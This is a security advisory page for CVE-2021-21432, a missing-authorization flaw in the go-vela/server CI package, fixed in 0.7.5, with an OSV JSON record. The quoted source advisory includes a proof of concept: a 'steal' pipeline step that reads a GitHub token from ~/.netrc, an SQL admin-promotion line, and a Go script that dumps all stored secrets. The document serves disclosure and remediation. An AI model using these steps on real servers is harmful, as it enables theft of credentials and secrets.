CVE-2021-21432: Github.com/go vela/server Reject Unauthorized Access With GitHub Vulnerability

HIGH
Advisory Identifier: GHSA-8j3f-mhq8-gmh4
CVSS 7.5
CWE-862 CWE-285 CWE-863
Published
Advisory Summary

CVE-2021-21432 is a HIGH (CVSS 7.5) reject unauthorized access with github vulnerability (CWE-862: Missing Authorization) affecting Github.com/go vela/server libraries in the Go ecosystem. The issue involves reject unauthorized access with github pats. Remediation is available by upgrading affected packages to version 0.7.5.

CVE-2021-21432 at a Glance

CVE Identifier CVE-2021-21432
GHSA Identifier GHSA-8j3f-mhq8-gmh4
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-862: Missing Authorization
Affected Product Github.com/go vela/server
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L).

Attack Vector Adjacent (AV:A)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2021-21432

To remediate this vulnerability, upgrade all affected Github.com/go vela/server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/go-vela/server fixed: 0.7.5
Upgrade github.com/go-vela/server to 0.7.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/go-vela/server

How to Check if You Are Affected

To determine whether your application is affected by CVE-2021-21432, inspect your project dependencies for Github.com/go vela/server:

inspect dependencies for github.com/go-vela/server

Analyze the terminal output to locate any version of Github.com/go vela/server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.7.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Github.com/go vela/server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact _What kind of vulnerability is it? Who is impacted?_ The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Steps to reproduce 1. Create Vela server 2. Login to Vela UI 3. Promote yourself to Vela administrator - `UPDATE users SET admin = 't' WHERE name = <username>` 4. Activate repository within Vela 5. Add `.vela.yml` to the repository with the following content ```yaml version: "1" steps: - name: steal image: alpine commands: - cat ~/.netrc ``` 1. Look at build logs to find the following content ``` $ cat ~/.netrc machine <GITHUB URL> login x-oauth-basic password <token> ``` 1. Copy the password to be utilized in some later step 1. Add secret(s) to activated repo 1. Copy the following script into `main.go` ```golang package main import ( "fmt" "github.com/go-vela/sdk-go/vela" "os" ) func main() { // create client to connect to vela client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil) if err != nil { panic(err) } // add PAT to request client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN")) secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{}) if err != nil { panic(err) } for _, secret := range *secrets { fmt.Println(*secret.Name) fmt.Println(*secret.Value) } } ``` 1. Run the `main.go` with environment specific settings - `VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go` The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against. ### Patches _Has the problem been patched? What versions should users upgrade to?_ * Upgrade to `v0.7.5` or later ### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ * No known workarounds ### References _Are there any links users can visit to find out more?_ * https://github.com/go-vela/server/pull/246 * https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token ### For more information If you have any questions or comments about this advisory * Email us at [vela@target.com](mailto:vela@target.com)

CVE-2021-21432 Affected Github.com/go vela/server Versions

1 component(s)
Fixed Versions:
0.7.5
Product / Package Ecosystem Affected Versions Fixed Version
github.com/go-vela/server
Go
≥ 0.7.0
< 0.7.5
0.7.5

References

Frequently Asked Questions

What is CVE-2021-21432?
CVE-2021-21432 is a security vulnerability in Github.com/go vela/server involving Reject unauthorized access with GitHub PATs under CWE-862: Missing Authorization.
Which Github.com/go vela/server versions are affected?
Affected versions include releases prior to 0.7.5 across affected packages: github.com/go-vela/server.
What version fixes CVE-2021-21432?
Upgrading to 0.7.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/go-vela/server affected?
Yes, github.com/go-vela/server is affected in releases prior to 0.7.5. Upgrade your dependency to 0.7.5 or later.
What is the CVSS score of CVE-2021-21432?
CVE-2021-21432 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L.
What CWE is associated with CVE-2021-21432?
CVE-2021-21432 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Go dependencies for CVE-2021-21432?
Run the dependency tree command: 'inspect dependencies for github.com/go-vela/server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8j3f-mhq8-gmh4",
  "modified" : "2022-08-15T20:02:53Z",
  "published" : "2022-02-15T01:57:18Z",
  "aliases" : [ "CVE-2021-21432" ],
  "summary" : "Reject unauthorized access with GitHub PATs",
  "details" : "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThe additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Steps to reproduce\n\n1. Create Vela server\n2. Login to Vela UI\n3. Promote yourself to Vela administrator \n    - `UPDATE users SET admin = 't' WHERE name = <username>`\n4. Activate repository within Vela\n5. Add `.vela.yml` to the repository with the following content\n\n    \n    ```yaml\n    version: \"1\"\n    \n    steps:\n    - name: steal\n      image: alpine\n      commands:\n        - cat ~/.netrc\n    ```\n\n1. Look at build logs to find the following content\n\n    ```\n    $ cat ~/.netrc\n    machine <GITHUB URL>\n    login x-oauth-basic\n    password <token>\n    ```\n\n1. Copy the password to be utilized in some later step\n1. Add secret(s) to activated repo\n1. Copy the following script into `main.go`\n\n    ```golang\n    package main\n    \n    import (\n\t    \"fmt\"\n\t    \"github.com/go-vela/sdk-go/vela\"\n\t    \"os\"\n    )\n    \n    func main() {\n\t    // create client to connect to vela\n\t    client, err := vela.NewClient(os.Getenv(\"VELA_SERVER_ADDR\"), \"vela\", nil)\n\t    if err != nil {\n\t\t    panic(err)\n\t    }\n    \n\t    // add PAT to request\n\t    client.Authentication.SetPersonalAccessTokenAuth(os.Getenv(\"VELA_TOKEN\"))\n    \n    \n\t    secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})\n\t    if err != nil {\n\t\t    panic(err)\n\t    }\n    \n\t    for _, secret := range *secrets {\n\t\t    fmt.Println(*secret.Name)\n\t\t    fmt.Println(*secret.Value)\n\t    }\n    }\n    ```\n\n1. Run the `main.go` with environment specific settings\n   - `VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go`\n\nThe previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n* Upgrade to `v0.7.5` or later\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n* No known workarounds\n\n### References\n_Are there any links users can visit to find out more?_\n\n* https://github.com/go-vela/server/pull/246\n* https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token\n\n### For more information\nIf you have any questions or comments about this advisory\n\n* Email us at [vela@target.com](mailto:vela@target.com)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/go-vela/server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.7.0"
      }, {
        "fixed" : "0.7.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2021-21432"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vela/server/pull/337"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-vela/server"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vela/server/releases/tag/v0.7.5"
  }, {
    "type" : "WEB",
    "url" : "https://pkg.go.dev/github.com/go-vela/server"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-285", "CWE-862", "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2021-05-20T20:12:26Z",
    "nvd_published_at" : "2021-04-09T18:15:00Z"
  }
}